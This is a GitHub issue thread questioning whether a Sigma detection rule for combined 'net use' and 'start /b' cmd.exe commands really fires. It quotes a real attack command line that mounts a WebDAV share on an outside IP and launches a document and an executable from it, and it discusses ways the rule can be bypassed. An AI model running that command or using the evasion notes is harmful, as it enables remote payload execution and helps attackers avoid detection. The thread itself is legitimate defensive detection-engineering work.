You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The rule relies on the commandLine including ALL of the following:
' net use http'
'& start /b '
'\DavWWWRoot'
The problem here is that because the commandLine in the associated reference source
"C:\Windows\System32\cmd.exe" /c net use http://164.92.205.182 && start /b \\164.92.205.182\DavWWWRoot\1C-Bitrix-0722.docx & start /b \\164.92.205.182\DavWWWRoot\lg.exe node.exe i
includes && and &, which, similarly to the pipe character, will split the command into different event logs and not a single one.
This can be easily simulated if I run the following command:
whoami && ipconfig & ping 8.8.8.8
Which will result in three different event logs:
Additionally, using "start /b" in the CMD does not log it. For example, running "start /b myFile.exe" will result in "Process Command Line: myFile.exe"
As explained here. The rule is looking for a full command with quotes. We are aware of the effect of cmd.exe and how commands are treated. Hence this is a best case detection. It can be bypassed by not using quotes but for that we have other coverage.
Hi team, I have a question/finding regarding https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml
The rule relies on the commandLine including ALL of the following:
The problem here is that because the commandLine in the associated reference source
includes && and &, which, similarly to the pipe character, will split the command into different event logs and not a single one.
This can be easily simulated if I run the following command:
Which will result in three different event logs:
Additionally, using "start /b" in the CMD does not log it. For example, running "start /b myFile.exe" will result in "Process Command Line: myFile.exe"
In this article, it also supports this finding:
I wasn't sure what would be the best way to fix it, so I created an issue instead of a PR.
Thank you in advance!
The text was updated successfully, but these errors were encountered: